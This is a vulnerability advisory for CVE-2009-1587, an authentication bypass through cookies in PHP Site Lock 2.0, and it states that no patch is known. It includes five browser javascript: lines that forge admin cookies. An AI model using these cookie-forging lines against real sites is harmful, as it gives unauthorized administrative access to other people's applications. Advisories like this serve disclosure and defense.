PHP Site Lock Cookie Authentication Bypass Vulnerability

Bugtraq ID:	34815
Class:	Access Validation Error
CVE:	CVE-2009-1587
Remote:	Yes
Local:	No
Published:	May 04 2009 12:00AM
Updated:	May 19 2009 11:20PM
Credit:	ThE g0bL!N
Vulnerable:	Kalptaru Infotech PHP Site Lock 2.0
Not Vulnerable:

PHP Site Lock Cookie Authentication Bypass Vulnerability

PHP Site Lock is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks.

PHP Site Lock 2.0 is vulnerable; other versions may also be affected.

PHP Site Lock Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following example data is available:

javascript:document.cookie="login_id=0;path=/";
javascript:document.cookie="group_id=1;path=/";
javascript:document.cookie="login_name=admin;path=/";
javascript:document.cookie="user_id=1;path=/";
javascript:document.cookie="user_type=admin;path=/";

PHP Site Lock Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHP Site Lock Cookie Authentication Bypass Vulnerability

References:

• PHP Site Lock Homepage (Kalptaru Infotech)